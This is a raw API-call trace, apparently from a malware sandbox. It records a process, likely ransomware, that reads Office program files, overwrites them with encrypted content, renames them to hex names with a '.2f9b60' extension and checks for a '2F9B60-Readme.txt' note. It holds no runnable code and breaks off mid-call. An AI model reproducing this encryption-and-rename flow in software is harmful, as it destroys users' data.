RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced74d0) returned 1 [0091.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0091.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f5f0 [0091.756] sprintf (in: _Dest=0x1cd9f5f0, _Format="%c%c" | out: _Dest="bb") returned 2 [0091.756] sprintf (in: _Dest=0x1cd9f5f2, _Format="%c%c" | out: _Dest="d0") returned 2 [0091.756] sprintf (in: _Dest=0x1cd9f5f4, _Format="%c%c" | out: _Dest="3e") returned 2 [0091.756] sprintf (in: _Dest=0x1cd9f5f6, _Format="%c%c" | out: _Dest="44") returned 2 [0091.756] sprintf (in: _Dest=0x1cd9f5f8, _Format="%c%c" | out: _Dest="d4") returned 2 [0091.756] sprintf (in: _Dest=0x1cd9f5fa, _Format="%c%c" | out: _Dest="41") returned 2 [0091.756] sprintf (in: _Dest=0x1cd9f5fc, _Format="%c%c" | out: _Dest="21") returned 2 [0091.756] sprintf (in: _Dest=0x1cd9f5fe, _Format="%c%c" | out: _Dest="6f") returned 2 [0091.756] sprintf (in: _Dest=0x1cd9f600, _Format="%c%c" | out: _Dest="7e") returned 2 [0091.756] sprintf (in: _Dest=0x1cd9f602, _Format="%c%c" | out: _Dest="b0") returned 2 [0091.756] sprintf (in: _Dest=0x1cd9f604, _Format="%c%c" | out: _Dest="4c") returned 2 [0091.756] sprintf (in: _Dest=0x1cd9f606, _Format="%c%c" | out: _Dest="64") returned 2 [0091.756] sprintf (in: _Dest=0x1cd9f608, _Format="%c%c" | out: _Dest="6e") returned 2 [0091.757] sprintf (in: _Dest=0x1cd9f60a, _Format="%c%c" | out: _Dest="f3") returned 2 [0091.757] sprintf (in: _Dest=0x1cd9f60c, _Format="%c%c" | out: _Dest="72") returned 2 [0091.757] sprintf (in: _Dest=0x1cd9f60e, _Format="%c%c" | out: _Dest="dd") returned 2 [0091.757] sprintf (in: _Dest=0x1cd9f610, _Format="%c%c" | out: _Dest="4c") returned 2 [0091.757] sprintf (in: _Dest=0x1cd9f612, _Format="%c%c" | out: _Dest="74") returned 2 [0091.757] sprintf (in: _Dest=0x1cd9f614, _Format="%c%c" | out: _Dest="5d") returned 2 [0091.757] sprintf (in: _Dest=0x1cd9f616, _Format="%c%c" | out: _Dest="1e") returned 2 [0091.757] sprintf (in: _Dest=0x1cd9f618, _Format="%c%c" | out: _Dest="a4") returned 2 [0091.757] sprintf (in: _Dest=0x1cd9f61a, _Format="%c%c" | out: _Dest="82") returned 2 [0091.757] sprintf (in: _Dest=0x1cd9f61c, _Format="%c%c" | out: _Dest="c3") returned 2 [0091.757] sprintf (in: _Dest=0x1cd9f61e, _Format="%c%c" | out: _Dest="79") returned 2 [0091.757] RtlInitAnsiString (in: DestinationString=0x273ffc08, SourceString="bbd03e44d441216f7eb04c646ef372dd4c745d1ea482c379" | out: DestinationString="bbd03e44d441216f7eb04c646ef372dd4c745d1ea482c379") [0091.757] RtlAnsiStringToUnicodeString (in: DestinationString=0x273ffbd8, SourceString="bbd03e44d441216f7eb04c646ef372dd4c745d1ea482c379", AllocateDestinationString=1 | out: DestinationString="bbd03e44d441216f7eb04c646ef372dd4c745d1ea482c379") returned 0x0 [0091.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8639d0 [0091.758] wcscat (in: _Dest=0x1cf4d380, _Source="bbd03e44d441" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bbd03e44d441") returned="C:\\Program Files\\Microsoft Office\\Office14\\bbd03e44d441" [0091.758] wcscat (in: _Dest=0x1cf4d380, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bbd03e44d441.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\bbd03e44d441.2f9b60" [0091.758] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\bbd03e44d441.2f9b60", NtPathName=0x273ffbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\bbd03e44d441.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0091.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce114a0 [0092.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0092.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46c90) returned 1 [0092.036] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x273ffc18, FileInformation=0x273ffc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x273ffc18, FileInformation=0x273ffc28) returned 0x0 [0092.036] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x273ffc18, FileInformation=0x273ffc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0092.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d380) returned 1 [0092.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8639d0) returned 1 [0092.038] FlushFileBuffers (hFile=0xd04) returned 1 [0092.098] CloseHandle (hObject=0xd04) returned 1 [0092.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b7842e0 [0092.098] wcscpy (in: _Dest=0x1b7842e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0092.099] wcscat (in: _Dest=0x1b7842e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0092.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0092.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7842e0) returned 1 [0092.099] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 Thread: id = 413 os_tid = 0xfa4 [0090.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat")) returned 0x20 [0091.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT", dwFileAttributes=0x20) returned 1 [0091.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd18 [0091.044] GetFileSizeEx (in: hFile=0xd18, lpFileSize=0x279ffd00 | out: lpFileSize=0x279ffd00*=65536) returned 1 [0091.044] SetFilePointerEx (in: hFile=0xd18, liDistanceToMove=0xfffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.044] ReadFile (in: hFile=0xd18, lpBuffer=0x279ffc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x279ffcc8, lpOverlapped=0x0 | out: lpBuffer=0x279ffc80*, lpNumberOfBytesRead=0x279ffcc8*=0x4, lpOverlapped=0x0) returned 1 [0091.091] SetFilePointerEx (in: hFile=0xd18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0091.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7260 [0091.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced72f0 [0091.092] NtQuerySystemTime (in: CurrentTime=0x279ffbc0 | out: CurrentTime=0x279ffbc0*=132462176969458000) returned 0x0 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x4e0abf80 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x6016e802 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x2b665298 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x5c4df57c [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x606c9982 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x2effdc2c [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x284bcff [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x3abe0dd6 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x693e6f17 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x70c4fbc6 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x2e0db484 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x2cbdc244 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x12264bc8 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x5337fa77 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x40fcd8cc [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x3bf8700f [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x559487a8 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x3e63af92 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x342def3d [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x40d89caa [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x1d90daad [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x13e9fb93 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x6a30c925 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x33049e22 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x4a8a9cda [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0xbf89c7e [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x6da2f745 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x7409fda0 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x5698f9d0 [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x18422efe [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x45d002aa [0091.092] RtlRandomEx (in: Seed=0x279ffbb0 | out: Seed=0x279ffbb0) returned 0x1542facf [0091.100] SetFilePointerEx (in: hFile=0xd18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.100] ReadFile (in: hFile=0xd18, lpBuffer=0x201485a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x279ffc20, lpOverlapped=0x0 | out: lpBuffer=0x201485a0*, lpNumberOfBytesRead=0x279ffc20*=0x3c00, lpOverlapped=0x0) returned 1 [0091.304] SetFilePointerEx (in: hFile=0xd18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c580 [0091.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ed90 [0091.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4b0 [0091.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4b0) returned 1 [0091.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20162d00 [0091.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4b0 [0091.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0091.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a2a0) returned 1 [0091.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed90) returned 1 [0091.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0091.305] WriteFile (in: hFile=0xd18, lpBuffer=0x20162d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x279ffc20, lpOverlapped=0x0 | out: lpBuffer=0x20162d00*, lpNumberOfBytesWritten=0x279ffc20*=0x3c00, lpOverlapped=0x0) returned 1 [0100.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20162d00) returned 1 [0100.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201485a0) returned 1 [0100.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20262e70 [0100.133] SetFilePointerEx (in: hFile=0xd18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.133] WriteFile (in: hFile=0xd18, lpBuffer=0x1692b0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x279ffcd0, lpOverlapped=0x0 | out: lpBuffer=0x1692b0*, lpNumberOfBytesWritten=0x279ffcd0*=0x106, lpOverlapped=0x0) returned 1 [0101.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0101.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0101.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0101.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ec0) returned 1 [0101.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0101.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ec0 [0101.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f20 [0101.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263f20) returned 1 [0101.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0101.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0101.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f2b0 [0101.691] sprintf (in: _Dest=0x1cd9f2b0, _Format="%c%c" | out: _Dest="12") returned 2 [0101.691] sprintf (in: _Dest=0x1cd9f2b2, _Format="%c%c" | out: _Dest="9f") returned 2 [0101.691] sprintf (in: _Dest=0x1cd9f2b4, _Format="%c%c" | out: _Dest="60") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2b6, _Format="%c%c" | out: _Dest="43") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2b8, _Format="%c%c" | out: _Dest="ec") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2ba, _Format="%c%c" | out: _Dest="13") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2bc, _Format="%c%c" | out: _Dest="3c") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2be, _Format="%c%c" | out: _Dest="7f") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2c0, _Format="%c%c" | out: _Dest="d0") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2c2, _Format="%c%c" | out: _Dest="4d") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2c4, _Format="%c%c" | out: _Dest="16") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2c6, _Format="%c%c" | out: _Dest="e5") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2c8, _Format="%c%c" | out: _Dest="41") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2ca, _Format="%c%c" | out: _Dest="8a") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2cc, _Format="%c%c" | out: _Dest="67") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2ce, _Format="%c%c" | out: _Dest="fb") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2d0, _Format="%c%c" | out: _Dest="71") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2d2, _Format="%c%c" | out: _Dest="9f") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2d4, _Format="%c%c" | out: _Dest="12") returned 2 [0101.692] sprintf (in: _Dest=0x1cd9f2d6, _Format="%c%c" | out: _Dest="b6") returned 2 [0101.693] RtlInitAnsiString (in: DestinationString=0x279ffd48, SourceString="129f6043ec133c7fd04d16e5418a67fb719f12b6" | out: DestinationString="129f6043ec133c7fd04d16e5418a67fb719f12b6") [0101.693] RtlAnsiStringToUnicodeString (in: DestinationString=0x279ffd18, SourceString="129f6043ec133c7fd04d16e5418a67fb719f12b6", AllocateDestinationString=1 | out: DestinationString="129f6043ec133c7fd04d16e5418a67fb719f12b6") returned 0x0 [0101.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c6d0 [0101.693] wcscat (in: _Dest=0x20509690, _Source="129f6043ec" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\129f6043ec") returned="C:\\Program Files\\Microsoft Office\\Office14\\129f6043ec" [0101.693] wcscat (in: _Dest=0x20509690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\129f6043ec.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\129f6043ec.2f9b60" [0101.693] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\129f6043ec.2f9b60", NtPathName=0x279ffcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\129f6043ec.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b19b0 [0105.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b19b0) returned 1 [0105.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051af0) returned 1 [0105.320] NtQueryInformationFile (in: FileHandle=0xd18, IoStatusBlock=0x279ffd58, FileInformation=0x279ffd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x279ffd58, FileInformation=0x279ffd68) returned 0x0 [0105.320] NtSetInformationFile (FileHandle=0xd18, IoStatusBlock=0x279ffd58, FileInformation=0x279ffd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509690) returned 1 [0105.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c6d0) returned 1 [0105.367] FlushFileBuffers (hFile=0xd18) returned 1 [0105.369] CloseHandle (hObject=0xd18) returned 1 [0105.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a4ec0 [0105.490] wcscpy (in: _Dest=0x202a4ec0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0105.490] wcscat (in: _Dest=0x202a4ec0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0105.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0105.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4ec0) returned 1 [0105.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 Thread: id = 414 os_tid = 0xfa8 [0090.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86e640 [0090.445] wcscpy (in: _Dest=0x1b86e640, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0090.445] wcscat (in: _Dest=0x1b86e640, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0090.445] wcscat (in: _Dest=0x1b86e640, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*" [0090.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58ed0 [0090.445] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d310 [0091.041] wcscmp (_String1=".", _String2=".") returned 0 [0091.041] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.041] wcscmp (_String1="..", _String2=".") returned 1 [0091.041] wcscmp (_String1="..", _String2="..") returned 0 [0091.041] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1 [0091.041] wcscmp (_String1="APPLAUSE.WAV", _String2=".") returned 1 [0091.041] wcscmp (_String1="APPLAUSE.WAV", _String2="..") returned 1 [0091.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85c180 [0091.041] wcscpy (in: _Dest=0x1b85c180, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0091.042] wcscat (in: _Dest=0x1b85c180, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0091.042] wcscat (in: _Dest=0x1b85c180, _Source="APPLAUSE.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" [0097.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0097.116] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb46b000, ftCreationTime.dwHighDateTime=0x1bfbeee, ftLastAccessTime.dwLowDateTime=0x5ed57890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb46b000, ftLastWriteTime.dwHighDateTime=0x1bfbeee, nFileSizeHigh=0x0, nFileSizeLow=0x59f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARROW.WAV", cAlternateFileName="")) returned 1 [0097.116] wcscmp (_String1="ARROW.WAV", _String2=".") returned 1 [0097.116] wcscmp (_String1="ARROW.WAV", _String2="..") returned 1 [0097.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b867f40 [0097.116] wcscpy (in: _Dest=0x1b867f40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.116] wcscat (in: _Dest=0x1b867f40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.116] wcscat (in: _Dest=0x1b867f40, _Source="ARROW.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" [0097.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110c [0097.118] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90776900, ftCreationTime.dwHighDateTime=0x1bfbeeb, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90776900, ftLastWriteTime.dwHighDateTime=0x1bfbeeb, nFileSizeHigh=0x0, nFileSizeLow=0x2f676, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOMB.WAV", cAlternateFileName="")) returned 1 [0097.118] wcscmp (_String1="BOMB.WAV", _String2=".") returned 1 [0097.118] wcscmp (_String1="BOMB.WAV", _String2="..") returned 1 [0097.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b867fc0 [0097.118] wcscpy (in: _Dest=0x1b867fc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.118] wcscat (in: _Dest=0x1b867fc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.118] wcscat (in: _Dest=0x1b867fc0, _Source="BOMB.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV") 